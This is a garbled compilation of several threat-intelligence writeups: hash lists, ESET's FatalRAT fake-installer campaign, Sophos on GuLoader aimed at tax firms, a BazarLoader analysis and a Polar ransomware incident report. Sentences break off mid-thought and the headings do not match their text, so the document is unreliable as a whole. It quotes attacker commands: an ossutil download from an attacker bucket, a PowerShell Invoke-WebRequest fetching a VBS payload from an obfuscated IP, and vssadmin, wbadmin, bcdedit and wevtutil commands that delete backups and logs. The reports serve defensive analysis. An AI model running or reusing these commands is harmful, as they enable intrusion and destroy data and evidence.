22.jpg feb0a0f5ffba9d7b7d6878a8890a6d67d3f8ef6106e4e88719a63c3351e46a06 mod.jpg 2c40b76408d59f906f60db97ea36503bfc59aed22a154f5d564d8449c300594f stock.jpg 9791ab0a00caf9de8df9eab1d8998d1b48bcc7c724b7d833cb1793cadc577e5f beta.jpg 72b1cbfbd87c6cd85b9dc1da48c852768003e7fb4f01d8f6904921474be199ad ms.jpg b5f6d6114e1ce863675df1bf2e4bfaeac243e22bb399e64b9a96c6d975330b28 mo2.jpg 88585888c4dd2450cc885fc8b75b555ea6f924c78581d5eeae5b54b4b6951ac5 b_armv7l ce5cd41711e74f11d8c01380194d9bb542da08733c81c317ec51089137330e0c blue.tmp.jpg 36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce mos.jpg 1aaf7bc48ff75e870db4fe6ec0b3ed9d99876d7e2fb3d5c4613cca92bbb95e1b nk.jpg 3ef459b97522a8e39953befa2e8c0e970bbbb0f7f9d3e1ff22b0f7759de04be1 b374k-master.zip c0ab7d1caabdd090b2399cd1193d2cc2334218d3f3f0d3164b61b6014fd308e9 mod.js 230e2a06df2cd7574ee15cb13714d77182f28d50f83a6ed58af39f1966177769 Carray.jpg b556d266b154c303bb90db005d7dd4267ed8d0e711e3fd32406c64b1fc977f9e local.jpg 78037e2d2e596bd450b99551535fa9c38c4e8346ab75eb424bf9e95316424fbe 01.jpg f3b53ebc7cb45c57854059be00ccde4c05cb1d66c4c5c55a93072b76f07a9c38 armv7l_xmrig.jpg ad1133cdcb486bab2368347b3ab35e83e5cd492c4bc6bfcb11a4b4c99d2c8014 xmrig-6.3.3-linux-static-x64.tar.gz bc02d0f9ec27f3c8d23c2f4647007e37a86fd404df0eef76c081fbb895f1be1b ktu.jpg 2a373d3e3e61999af09322b35356d26f95e183b1bb6222cae24d28b7b00ca01f flink.jpg bcfa215dec8fe15d4265c508c39c1ebafb7370acc95721e4e7d610b0459eb8dd jq.jpg b63efd9cca6a7379bc2a7e2b1ef721eedb0f3ac95afc14f2dd8db34f95688523 logs 79a060a0efcf4a1538c58e532b984dcd927fda17ca9fd10c2ff212f9d9d76be6 det.jpg b257a06a185f07e416f2b5ccc891fb799b82ce06bf1d4620d2439be65556c926 sok.js b485e6ccc9cfeb9c2034cebfeaf1bb3b3db0ac9996e5260fc1e95ce852b757c4 ssh.jpg Hashes Used in This Investigation 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 05963eaca329830c80a7fa2e9bea3b4ec2fe277f882f68be29befedb80d5738d 0910f78b68ccf1127a6a8f55d48b55c018149b4d5ab4a3fde56386a61c029ef4 10fb8d16f7d168340be28c6d0ba94e10c15370c8747d97bc0e5fad4b4466cf09


Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign


ESET researchers have identified a campaign using trojanized installers to deliver the FatalRAT malware, distributed via malicious websites linked in ads that appear in Google search results ESET researchers identified a malware campaign that targets Chinese-speaking people in Southeast and East Asia by buying misleading advertisements to appear in Google search results that lead to downloading trojanized installers.

These arent the apps youre looking for fake installers targeting Southeast and East Asia


Key points of the blogpost: The attackers purchased advertisements to position their malicious websites in the “sponsored” section of Google search results.


We observed victims mostly in Southeast and East Asia, suggesting that the advertisements were targeting that region.


We observed these attacks between August 2022 and January 2023, but according to our telemetry previous versions of the installers have been used since at least May 2022.


None of the malware or network infrastructure used in this campaign has been matched to known activities of any named groups, so for now we have not attributed this activity to any known group.


Victimology Figure 1 shows a heatmap with the countries where we detected the attacks between August 2022 and January 2023.


Countries where we detected the attacks between August 2022 and January 2023 We also observed a small number of cases in: Malaysia Japan The Philippines Thailand Singapore Indonesia Myanmar Attack overview A simplified overview of the attack is shown in Figure 2.


A chain of multiple components ultimately installs the FatalRAT malware that was described by AT&T researchers (@attcyber) in August 2021.


Simplified overview of the attack Fake websites


The attackers registered various domain names that all pointed to the same IP address: a server hosting multiple websites that download trojanized software.


While in theory there are many possible ways that potential victims can be directed to these fake websites, a news site reported (English version here) that they were being shown an advertisement that led to one of these malicious websites when searching for the Firefox browser in Google.


We couldn’t reproduce such search results, but believe that the ads were only served to users in the targeted region.


We reported the websites to Google and the ads were taken down.


Given the fact that many of the domain names that the attackers registered for their websites are very similar to the legitimate domains, it is also possible that the attackers rely on typosquatting as well to attract potential victims to their websites.


Some examples are: You’ll find the rest of the domain names that we observed in the IoCs section.


Installers The installers downloaded from the fake websites are not hosted on the same server as the websites, but in the Alibaba Cloud Object Storage Service.


They are digitally signed MSI files (see the Certificates section) created with Advanced Installer.


Drop the malicious updater and related files in the %PROGRAMDATA%\Progtmy\0 directory.


Drop a file named ossutilconfig in the %USERPROFILE% directory.


This file contains credentials used by the updater to connect to a remote bucket in the Alibaba Cloud.


Create an empty directory %


PROGRAMDATA%\Progptp (although we observed some cases where the FatalRAT malware was installed in this directory instead).


Drop and execute the legitimate installer in C:\Program Files\Common Files (see CommonFiles64Folder).


The malware is run by side-loading a malicious DLL, libpng13.dll, which is used by sccs.exe (Browser Support Module), a legitimate executable developed by Xunlei.


The original libpng13.dll is also included in the installer package (renamed to what appears to be a random name) because the malicious DLL forwards its exported functions to the original DLL.


Some of the forwarded exports in the malicious DLL are shown in Figure 7.


Part of the exported functions in the malicious DLL that are forwarded to the original The malware updater is executed in a similar manner, by side-loading dr.dll, used by a legitimate, signed binary developed by Tencent.


The malicious DLL is very simple and executes OSSUTIL (included in the installer package as ssu.exe) to download files from an attacker-controlled bucket in Alibaba Cloud.


The command executed by the DLL is: cmd /C


“C:\ProgramData\Progtmy\2\ssu.exe cp -r oss://occ-a1/dll/3/ C:\ProgramData\Progtmy\ –update” This should update files in the %PROGRAMDATA%\Progtmy local directory from the remote bucket occ-a1 (a different bucket than the ones used to store the installers, but in the same account), but it doesn’t work in any of the installers that we analyzed because the %PROGRAMDATA%\Progtmy\2 subdirectory doesn’t exist (it should be subdirectory 0, created by the installer).


The attackers made the same mistake with the scheduled tasks created for the updater, as the execution path also refers to a subdirectory 2 that doesn’t exist.


In most cases, four scheduled tasks are created: two for the RAT (one set to execute periodically and the other whenever any user logs into the PC) and two for the updater.


The names of the tasks are based in the Windows build number and the name of the computer, as shown in Figure 8. Figure 8.


Scheduled tasks created by the malicious installers Loaders The loader – libpng13.dll – is a very simple component that opens and executes in memory a file named Micr.jpg, located in the same directory as the DLL.


The attackers have obfuscated the loader with many calls to a function that just prints some hardcoded values.


It’s possible that this behavior was used to avoid being detected by security solutions or to complicate the analysis of the DLL.


Figure 9 shows an example of the obfuscated code on the left and the deobfuscated code on the right.


Part of the decompiled code for libpng13.dll on the left and on the right the same code deobfuscated Micr.jpg is actually shellcode that also contains an embedded DLL.


The purpose of this shellcode is to load and execute in memory the embedded DLL by calling an export function of the DLL named SignalChromeElf.


Before the execution of this export function, the shellcode reconstructs the imports table of the DLL and calls the DllEntryPoint, which simply invokes the Windows API function DisableThreadLibraryCalls as a way to increase the stealthiness of the DLL. SignalChromeElf essentially will decrypt, load, and execute an encrypted payload located in the embedded DLL.


This encrypted payload is the FatalRAT malware, and after its decryption the DLL will find the address of an export function called SVP7, which contains the entry point of the malware, and call it, passing the encrypted configuration of FatalRAT as an argument.


The function in the embedded DLL that decrypts the payload is the same as the function used in FatalRAT to decrypt its configuration.


FatalRAT FatalRAT is a remote access trojan documented in August 2021, by AT&T Alien Labs.


This malware provides a set of functionalities to perform various malicious activities on a victim’s computer.


The targeted browsers are: Chrome Firefox QQBrowser Sogou Explorer Download and execute a file Execute shell commands This malware contains various checks to determine whether it’s running in a virtualized environment.


Depending on its configuration, these checks may be executed or not.


From our own analysis we were able to determine that the FatalRAT version used in this campaign is very similar to the one documented by AT&T in their blogpost, so we won’t go into more details.


A comparison of them is shown in Figure 11, and Figure 10 shows the decompiled code used to decrypt strings in the FatalRAT samples from this campaign, which is the same as the one described by AT&T. Figure 10.


Decompiled code of a function used by a FatalRAT sample to decrypt its configuration strings Figure 11.


BinDiff comparison between a FatalRAT sample analyzed by AT&T and the FatalRAT sample found in this campaign Previous version We found a previous version of the malicious installer that the attackers have used since at least May 2022.


Unlike the installers that we described previously, this version contains an XOR-encrypted payload, divided into three files: Micr.flv, Micr2.flv, and Micr3.flv, each file encrypted with a different, single byte XOR key.


Once decrypted, the content of the three files is concatenated, forming shellcode that contacts a C&C server to download and execute further shellcode.


The loader DLL in this case is named dr.dll – the same name that is used for the update mechanism in later versions of the installer, side-loaded by the same legitimate executable.


Given that this older version doesn’t seem to have an updater, we believe that the attackers have replaced it with the new version of the installer since August 2022.


Twitter user Jirehlov Solace reported other versions of the installers starting in May 2022, as can be seen in this thread.


Although some of those installers are the same as ones in this report, it seems that most of them are different, compiled as EXE files (not MSI installers) and using a variety of software packers.


Those samples are probably connected with Operation Dragon Breath as described by Qi An Xin in May 2022.


Conclusion The attackers have expended some effort regarding the domain names used for their websites, trying to be as similar to the official names as possible.


The fake websites are, in most cases, identical copies of the legitimate sites.


As for the trojanized installers, they install the actual application that the user was interested in, avoiding suspicion of a possible compromise on the victim’s machine.


Even better, type it into your browser’s address bar after checking that it is the actual vendor site.


Since the malware used is this campaign, FatalRAT, contains various commands used to manipulate data from different browsers, and the victimology is not focused on a particular type of user, anyone can be affected.


ESET Research offers private APT intelligence reports and data feeds.


IoCs Files SHA-1FilenameESET detection nameDescription 00FD2783BBFA313A41A1A96F708BC1A4BB9EACBDChrome-Setup.msiWin32/Agent.


C9970ACED030AE08FA0EE5D9EE70A392C812FB1BWhatsApp-中文.msi (machine translation: Chinese)Win32/Agent.


AFAHMalicious MSI installer. 76249D1EF650FA95E73758DD334D7B51BD40A2E6WPS-SetuWhatsApp-中文p.msi (machine translation: Chinese)Win32/Agent.


DBE21B19C484645000F4AEE558E5546880886DC0电报-中文版.msi (machine translation: Telegram - Chinese Version)Win32/Agent.


1BE646816C8543855A96460D437CCF60ED4D31FE电报中文-64.msi (machine translation: Telegram Chinese)Win32/Agent.


2A8297247184C0877E75C77826B40CD2A97A18A7windows-x64中文.exe (machine translation: Chinese)Win32/ShellcodeRunner.


AFAHLoader DLL.


AFAHUpdater DLL.


Network IPProviderFirst seenDetails 107.148.35[.]6PEG TECH INC2022-10-15Server hosting malicious websites.firefoxs[.]org googlechromes[.]com youedao[.]com telegramxe[.]com telegramxe[.]net telegramsz[.]net whatcpp[.]com whatcpp[.]net whatsappt[.]org telegraem[.]org telegraxm[.]net skype-cn[.]org electrumx[.]org line-cn[.]net whateapp[.]net whatcapp[.]org 107.148.45[.]20PEG TECH INC2022-12-1912-03.telegramxe[.]com; C&C server.


107.148.45[.]32PEG TECH INC2023-01-0412-25.telegraem[.]org; C&C server.


107.148.45[.]34PEG TECH INC2023-01-0612-25.telegraxm[.]org; C&C server.


107.148.45[.]37PEG TECH INC2022-12-1012-08.telegraem[.]org; C&C server.


107.148.45[.]48PEG TECH INC2022-12-2212-16.pinyin-sougou[.]com; C&C server.


International Limited2022-06-16ghg.telegream[.]online; C&C server.


Certificates Serial number26483C52A9B6A99A4FB18F69F8E575CE Thumbprint505CF4147DD08CA6A7BF3DFAE9590AC62B039F6E Subject CNTeCert Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-12-16 11:46:19 Valid to2023-12-16 12:06:19 Serial number317984D3F2ACDAB84095C93874BD10A9 Thumbprint457FC3F0CEC55DAAE551014CF87D2294C3EADDB1 Subject CNTelegram_Inc Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-06-02 11:10:49 Valid to2023-06-02 11:30:49 MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.


TacticIDNameDescription Resource DevelopmentT1583.001Acquire Infrastructure:


DomainsThe attackers acquired domain names for their malicious websites and C&C servers.


T1585.003Establish Accounts: Cloud AccountsThe attackers acquired accounts in Alibaba Cloud Object Storage Service to host their malicious MSI installers.


T1587.002Develop Capabilities: Code Signing CertificatesThe attackers used self-signed certificates to sign their malicious MSI Installers.


Initial AccessT1189Drive-by CompromiseThe attackers used Google Ads to direct their victims to their malicious websites.


Execution: Malicious FileThe attackers have relied on their victims to execute the malicious MSI installers.


Windows Command ShellThe malware updater uses cmd.exe to download files from Alibaba Cloud Object Storage Service.


APIThe loaders use API calls such as VirtualAlloc to load and execute malicious components into memory.


PersistenceT1053.005Scheduled Task/Job: Scheduled TaskThe MSI installers create scheduled tasks to achieve persistence.


T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderFatalRAT creates a registry Run key to achieve persistence.


Defense EvasionT1140Deobfuscate/Decode Files or InformationThe loaders and FatalRAT component use various encryption algorithms to hide payloads and strings.


T1574.002Hijack Execution Flow: DLL Side-LoadingThe attackers have used DLL side-loading to execute their malicious payloads.


T1027.009Obfuscated Files or Information:


Embedded PayloadsThe Micr.jpg file contains shellcode and an embedded DLL file that loads FatalRAT.


T1553.002Subvert Trust Controls: Code SigningThe attackers have used self-signed certificates to sign their malicious MSI files.


CollectionT1056.001Input Capture: KeyloggingFatalRAT has keylogger functionalities.


T1119Automated CollectionFatalRAT automatically collects information from a compromised machine and sends it to the C&C server. Command and ControlT1573.001Encrypted Channel:


ExfiltrationT1020Automated ExfiltrationFatalRAT automatically sends information from a compromised machine to its C&C. T1041Exfiltration Over C2 ChannelFatalRAT exfiltrates data over the same channel used for C&C. 16 Feb 2023 - 11:30AM


Financial accountant firms and CPAs are in the crosshairs this tax season, as a threat actor is targeting that industry with an attack that combines social engineering with a novel exploit against Windows computers to deliver malware called GuLoader.

Tax firms targeted by precision malware attacks


At least two organizations in that industry, both Sophos customers, reported the unusual attack to us in late February and early March, as tax preparers are entering the busiest part of the season in the United States.


(The tax filing deadline this year is April 17, 2023.)


The attack begins with an email that purports to solicit business from the tax preparation firm.


The initial message to the target is benign, with a subject line of Prospective Client Enquiries containing nothing more than an introduction and a request for information about “onboarding new clients.”


The email sender goes on to claim that “The CPA I used last year is retired, so here I am on the lookout for a new firm to work with.”


Responding to the hook with a bigger hook If the target responds to this initial solicitation, the sender then sends a follow-up email with a link to a password-protected Zip file hosted on a cloud storage service.


The Zip archive has a filename that includes the last name of the fictitious person whose purportedly sent the initial email message.


In each of the messages we saw targeting different accounting firms, the attacker used different names, such as Rodney Williamson or Sarah Knapp.


Because the attacker only sends the link to a CPA who responds to the initial email message, very few of them were caught in spam traps.


The samples we obtained had been submitted to us only after the targets realized they were being attacked.


The attacker also asks the target “Would you be available for a quick telephone call on Friday?”


Whoever crafted the messages has a good grasp of English-language euphemisms and tax-filing vernacular.


These messages, with a few very minor spelling or grammar errors, were very hard to discern from ones that might be sent by a legitimate, prospective client of a tax firm.


If the first stage of the process involves convincing the accounting professional to download and open the linked Zip archive, the next phase is completely out of the tax preparer’s control.


The Zip archive contains two files: A Windows Shortcut (a .LNK file), and a benign decoy attachment.


In the examples we received, one Zip contained a benign file named screenshot1242.jpeg and another contained a file named privatecopy.pdf.


Both of these files were the same three minute long MP3 audio recording – a file that sounds like someone playing an Oud, the stringed instrument similar to a lute used widely in the middle east.


Adobe Reader or a photo viewing program can’t open the file.


The target would then, naturally, double click the other file in the Zip archive — a Windows Shortcut (.LNK file) labeled with a PDF file suffix and with an icon that makes it appear to be a PDF document.


Unusually, the Windows shortcut has been manipulated in such a way that Windows seems to think that it is a VBScript Script File in the shortcut’s properties sheet.


The action taken by the shortcut is rendered not visible in the Properties sheet, either, in what appears to be a novel, malicious use of an exploit first publicly disclosed a year ago in a blog post by researcher @x86matthew, who works for the UK-based offensive security research company MDSec.


It contains a PowerShell command that looks like the following: Invoke-WebRequest http://0x[two hex bytes].[eight digits]/fresh/fordl.vbs -OutFile


C:\Windows\Tasks\[eight letters].vbs The shortcut command pulls down a Visual Basic script, drops it into the C:\Windows\Tasks folder, and executes it.


A second command appended to the first drops an actual PDF document (of someone’s IRS form W-2, 1099, or 1040) into the same location and opens it as well, as a decoy.


The crafting of the URL was somewhat unique.


The attacker seems to have made a mashup of two different formats of so-called “dotless” IP address (an unusual combo of the hex and “dword” types of dotless IPs) into a combination that isn’t human-readable, but that networked applications like PowerShell can understand and interpret as valid IPv4 addresses.


The script shown above uses the address 0xC2.11808979 in the URL, which translates to the IPv4 address 194.180.48.211.


We also discovered scripts that pointed to malicious files hosted on the addresses 0x6D.13561923 (109.206.240.67) and 0x05.526436 (5.8.8.100).


All of the servers hosting the malware hosted them inside of open directories.


We found 29 different varieties of the VBS and 90 other encrypted and unencrypted payloads hosted in these locations.


There may be others.


A heavily obfuscated VBS


The initial infector is a Visual Basic script, heavily obfuscated, and very large at more than 200KB in size.


These work in tandem to insert data into the Windows Registry and execute PowerShell commands.


The PowerShell script decoded from the Ir8 variable uses Reflection.


Assembly to load the final payload into memory from a Registry value without writing it to disk.


And the content loaded out of the Registry?


The concatenated segments of base64 data from O7 get inserted into the Registry, for the Ir8 script to decode.


Post-infection, the machine will have an instance of an otherwise benign Windows binary running.


The malware makes several other changes to Windows settings during the infection process.


It creates a User-level Environment Variable (in our test case, this was called SaltoQ), which points at the full path to the PowerShell executable on the system.


It created a Run key in the Registry named Overproduce that invokes the SaltoQ variable to run a PowerShell command at every reboot.


And that Run key references a different Registry key, in HKEY_CURRENT_USER\Cloglike that contains a portion of the same Visual Basic Script code that was in the original .vbs payload the malware downloads during the infection process.


During our attempts to infect machines with the malware, that C2 server failed to respond.


However, we did infect a test machine with other samples from this attack, and some of those were successful at connecting to C2 servers at 84.21.172.49:1040 (ironic port number!)


Both of those C2s were live as of publication of this blog.


We also detected the infected computer repeatedly attempting to resolve the address of the domain newmansubzero.com, which is the 64.44.


Guidance and detection Tax preparers and accountants are extremely busy at the best of times, but during US tax season, which culminates in mid-April, they are the busiest they will be all year.


Harried CPAs from firms of all sizes must be wary that they are targets for criminals who would love nothing more than the sensitive financial data they receive in abundance at this time of year.


The attack method in this case takes advantage of the frenetic pace of tax season and uses a social engineering tactic to smooth the way for the malware to be delivered via email.


Ask them if they will speak to you on the phone directly, who referred them to you, and if they’d be willing to come in for an in-person evaluation.


When the Zip file is password protected, it can make the contents un-scannable by endpoint security tools.


The PDF icon used for the Shortcut in the attack is also distinctive and unique.


The icon, which doesn’t resemble the icon used by any known PDF reader application, looks like an icon for a plain text document wrapped in a red bar with the white letters PDF inside.


It’s also notable that the icon does have the little arrow in the bottom left corner that indicates it is a Shortcut, and not a document.


It’s possible a busy accountant may not notice that detail.


Hovering the mouse pointer over the Shortcut icon causes the malicious shortcut to display the information pushed into the Comment field, which makes it appear that the document is in fact a PDF when it is not.


If you still suspect things are not as they should be, ask the potential customer to call you on the phone before you open the files.


Sophos products detect various aspects of the attack quite comprehensively: Endpoint will detect the shortcut file as Troj/LnkObf-T or Mal/DownLnk-D and the VBS payload of the shortcut as VBS/Inject-IPG.


Some payload samples may be detected as Behaviorally, it detects the injection techniques used by the attackers as Evade_34a or Evade_34b.


GuLoader code in memory also will be detected as Mem/Guload-A. Our network security products will block communication to the IP addresses used to host the payloads and the C2 addresses.


Indicators of compromise relating to this attacker and their tooling are hosted on the Sophos X-Ops Github.


Acknowledgments Sophos X-Ops wishes to acknowledge the contributions of Colin Cowie and Benjamin Sollman of the MDR intelligence team, Sivagnanam Gn, Anand Ajjan, and Anisha Kumar of SophosLabs, and Sales Engineer Matthew Haltom to our understanding of this threat and its impacts.


BazarLoader Mocks Researchers in December 2020 Malspam Campaign by Lilly Chalupowski | Feb 1, 2021 Our Inbox Detection and Response (IDR) team has observed a new BazarLoader campaign targeting the information technology, aeronautic and financial industries.


The IDR team has successfully blocked over 550 thousand BazarLoader malspam emails throughout this campaign alone.


The initial infection vector, which has been observed by our Inbox Detection and Response Team (IDR), is via malspam containing fake employment termination notices and anonymous surveys.


The threat actor(s) primarily use Google Drive and Google Docs to distribute their malicious payloads.


The employment termination malspam was observed on October 6, 2020 and the anonymous survey malspam was observed on October 8, 2020.


This can be seen in Figure 1 and Figure 2. Figure 1: BazarLoader Employment Termination Malspam Figure 2: BazarLoader Fake Anonymous Survey We will firstly analyze the employment termination malspam.


Once the user clicks the link, they will be redirected tohxxps://docs[.]google[.]com/document/d/e/2PACX-1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/pub to download an executable.


An example of this can be seen in Figure 4. Figure 4: YUVPlayer Dialog Embedded Resource Once executed, the legitimate application or dialogs will not be shown to the user.


Instead, it will call advapi32.CryptHashData using the string s_)q03vcOm95^+Rj3dG_Jx@k0GGwYOIddH_14025b520 as the data to create a hash using the PROV_RSA_FULL Windows cryptographic provider.


Once the hash is created, it will create a key using advapi32.CryptDeriveKey.


It will then obtain a handle to the current process for the purpose of allocating memory with PAGE_EXECUTE_READWRITE permissions.


Once the shellcode has been successfully decrypted, it will execute the shellcode.


Figure 5: BazarLoader Shellcode Decryption Routine Figure 6: Executing Stage 1 Decrypted Shellcode


The shellcode will obtain a handle to kernel32.LoadLibraryA, kernel32.GetProcAddress, kernel32.VirtualAlloc, kernel32.VirtualProtect and ntdll.


ZwFlushInstructionCache, by enumerating the Process Environment Block (PEB) using the instruction mov rax,qword ptr gs: [60].


This is common with shellcode as it will need to resolve these APIs dynamically to interact with the Windows operating system.


Once completed, it will then call kernel32.VirtualALloc to prepare injecting a PE executable for the next stage.


To build the PE header, it will use the routine shown in Figure 7. Figure 7: Prepare Stage 2 PE Once PE header has been partially copied (excluding MZ magic value), it will start to copy the .text section using the routine shown in Figure 8. Figure 8: Copy .text


Section Once the .text section is copied, it will start resolving many different Windows APIs using kernel32.GetProcAddress.


When the additional APIs have been resolved, it will then make the .text section it copied earlier executable using kernel32.VirtualProtect, as seen in Figure 9. Figure 9: Make .text Section Executable NOTE:


Interestingly, the Portable Executable (PE) BazarLoader is copied into memory (without the MZ header) and will start execution at the end of the .text section using a direct call.


This can make unpacking the next stage confusing for reverse engineers as this is not where code in a PE file is supposed to begin.


This code at the end of the .text section is solely responsible for making a call to the real Original Entrypoint (OEP) of the PE.


It is important to note that this is simply used as shellcode and not as a PE in memory.


The other benefit of this technique is no calls to thread related APIs are required, making it more challenging for Endpoint Detection and Response (EDR) solutions to detect.


This can be seen in Figure 10. Figure 10: OEP Shellcode/PE Trickery After the previous trickery in the new memory space, it will start creating another PE in memory, but this time the header does start with the MZ magic value.


Building .text Section for Stage 2 Once the PE has been extracted to memory, it will make a direct call instead of using Threading APIs (same trickery as before).


This can be seen in Figure 12.


Figure 12: Calling Stage 2 Shellcode BazarLoader’s stage 2 shellcode will make use of encrypted stack strings for many purposes throughout the rest of its code.


Before it continues with its malicious activity, it will check if the locale is Armenian (0x2b).


Interestingly, instead of shutting down gracefully when the Armenian locale is detected, it will execute a jmp instruction to an invalid address, causing an access violation exception.


We have seen Russian crimeware checking for the Armenian keyboard layout previously in malware such as KPot, we hypothesize this could be similar behavior.


To avoid running more than one instance of itself, BazarLoader will create a mutex with a hard-coded UUID, then use kernel32.GetLastError to check for the error ERROR_ALREADY_EXISTS.


If the mutex already exists, it will exit the process.


Once completed, it will decyrpt its C2 configuration, as seen in Figure 14. Figure 14: BazarLoader Stage 2 Decrypted Downloader Config


Once BazarLoader has determined the Armenian language is not being used and another instance of itself is not running, it will make a HTTP HEAD request to hxxps://titlecs[.]com.


It will continue to do this until it receives a 200 response from the C2 server.


The first request will be sent using wininet.


HttpSendRequestA, as seen in Figure 15. Figure 15: HTTP HEAD Request


It is important to note that the HTTP header Update is not a standard header and can be considered anomalous.


This HEAD request can be seen in Figure 16.


The C2 server will respond with a 200 OK message.


BazarLoader will also check if it is connected to the internet by making a request to microsoft[.]com, as seen in Figure 17. Figure 17: BazarLoader Internet Connectivity Check Once completed, it will make a POST request to the second domain in its configuration, as seen in Figure 18. Figure 18: BazarLoader C2 Checkin Once completed, it will make a HTTP GET request in order to obtain the next stage, as seen in Figure 19. Figure 19:


The main difference between the two versions is the malware author(s) now include the string Stupid Defender to mock researchers, the shellcode that was stored in the .data section is now stored in the .rsc section, the functionality to get a pointer to the encrypted shellcode and to decrypt it have been broken out into their own separate functions.


Encrypted Shellcode in Resource Section BazarLoader is becoming increasingly popular amongst threat actors.


We suspect the reason behind the malware developer(s) success is their use of techniques such as avoiding the use of threading APIs and faking PE injection, when in reality, it is simply shellcode injection.


These techniques are likely used to confuse Endpoint Detection and Response (EDR) solutions.


Indicator Description hxxps://titlecs[.]com/issues/284 BazarLoader Encrypted Payload URL hxxps://titlecs[.]com/issues/282 BazarLoader Encrypted Payload URL hxxp://ds46x1[.]com/1/run BazarLoader Encrypted Payload URL labelcs[.]com BazarLoader C2 Domain (Employment Termination Malspam)


mixcinc[.]com BazarLoader C2 Domain (Employment Termination Malspam)


nicknamec[.]com BazarLoader C2 Domain (Employment Termination Malspam) 3c27fca6d9cf1379eee93e6fea339e61 BazarLoader Shellcode Injector (Preview15-10.exe) 3ee60e0efeb5b349a5ba7325ce4a33dc BazarLoader Shellcode Injector (Document2-85.exe) hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/p Employment Termination Malspam Payload URL hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vQ7wK9C0fLCwS3voYLhGz3Gmy6g4UMKe_xZ1ds8xv7LonpviJBXefG9rBZuMPkmtytDYe_5rbDztBnK/pub Survey Malspam Payload URL ds45x1[.]com BazarLoader C2 Domain (Survey Malspam) ds46x1[.]com BazarLoader C2 Domain (Survey Malspam) ds47x1[.]com BazarLoader C2 Domain (Survey Malspam) marcene[.]jack[at]peytoneley[.]com BazarLoader Malspam Email shannon[.]ong35[at]myhunter[.]cuny[.]edu BazarLoader Malspam BazarLoader Malspam Email bessie[.]wilson[at]griply[.]com BazarLoader Malspam Email Lilly Chalupowski Paul Neuman


In late April 2020, a client invited the CSIRT incident response team at the Positive Technologies Expert Security Center (PT ESC) to investigate a network compromise that resulted in encryption of files on servers and employee workstations.

Investigation with a twist an accidental APT attack and averted data destruction


However, what we found was different: this intrusion was the work of a well-known Asian APT group implicated in cyberespionage against government targets.


The initial successful compromise had taken place two years prior.


Ultimately, we succeeded in bringing the infrastructure back to a secure condition and reversing the damage that had been done.


Sequence of events Mass encryption of files on the client's infrastructure and a ransom demand formed the starting point of the investigation.


Retrospective analysis showed that the client's infrastructure had been compromised not three or four days before (or even a few hours before, as often happens in mass attacks), but in early 2018.


What's more, the initial infection was of a foreign office of the client.


Then a subsequent breach of the head office back home.


The attackers used NBTScan for network reconnaissance and PsExec for lateral movement.


They obtained credentials for pivoting with Mimikatz.


In some cases, we were able to detect memory dumps of the lsass process that had been archived and uploaded.


Another method was to scan hosts for so-called Eternal* SMB vulnerabilities with SMBTouch and then, where possible, run the EternalBlue exploit and infect the computer.


One unexpected result of the compromise was cryptocurrency mining at both the foreign office and headquarters.


Such activity remained unnoticed for one and a half years.


During this time the attackers only maintained their access abilities by periodically obtaining new accounts or building tunnel chains.


Our belief is that by early 2020, the attackers had lost their access (for reasons unknown to us).


We can see use of web shells on the foreign office's servers on February 9, 2020.


Subsequent actions were very similar to what had happened two years earlier.


By using the tools already described, the attackers obtained the credentials of a domain administration at headquarters.


This time, they deleted OS logs and stopped Shadow Copy services, complicating subsequent incident analysis.


For the finale, on April 29, 2020, the account of the compromised domain admin was used to push Polar ransomware to computers and run it, encrypting user files and demanding a ransom.


While our specialists were assisting the client in May 2020, the attackers made yet another attempt to regain control of infrastructure with the help of web shells that were still in place on the network of the headquarters and office, but this time to no success.


CSIRT's objectives included recovering the client's data, which included key information belonging to different departments.


We performed analysis of the encryption malware and were able to recover the lost files.


Polar ransomware


Three files are sent to the victim's computer:


GameuxInstallHelper.dll (MD5: 1fd8402275d42e7389f0d28b9537db0f) is a .NET DLL library (compiled on April 29, 2020) imported when GDFInstall.exe is run.


The file c:\programdata\Sysurl.


Hex, if absent) and then simple XOR decrypted with key ABCSCDFRWFFSDJJHGYUOIj.


The result is decoded with Base64, yielding a PE file that is loaded and run in memory with .NET.


The payload and intermediate library are deleted before completion.


Deletion occurs in the standard (insecure) way, which enables recovering the data if disk access is stopped in time and the information has not been overwritten.


Sysurl.


Hex is an encrypted copy of the Polar ransomware.


This payload call sequence (in which a legitimate application loads a malicious library, which in turn decrypts a third component and passes control to it) is very commonly used to run the PlugX backdoor, which is widely seen among such Asian APT groups as APT10, APT41, TA459, and Bronze Union.


Based on how GameuxInstallHelper.dll is launched, we quickly can guess that this file, too, is an executable file compiled with .NET.


The compilation date is April 9, 2020.


The code entry point is the Actions method of the Encode class in the Polar name space (which is the name we have used for the malware family).


The malware deletes system event logs and shadow copies by performing the following commands: dism /online /enable-feature /featurename:NetFx3 vssadmin.exe Delete Shadows /All


/Quiet bcdedit /set {default} recoveryenabled no wmic shadowcopy delete wbadmin delete backup wbadmin delete systemstatebackup -keepversions:0 bcdedit /set {default} bootstatuspolicy ignoreallfailures bcdedit /set {default} recoveryenabled no wevtutil.exe clear-log Application wevtutil.exe clear-log Security wevtutil.exe clear-log System wbadmin delete catalog -quiet wbadmin delete catalog -quiet wbadmin delete systemstatebackup


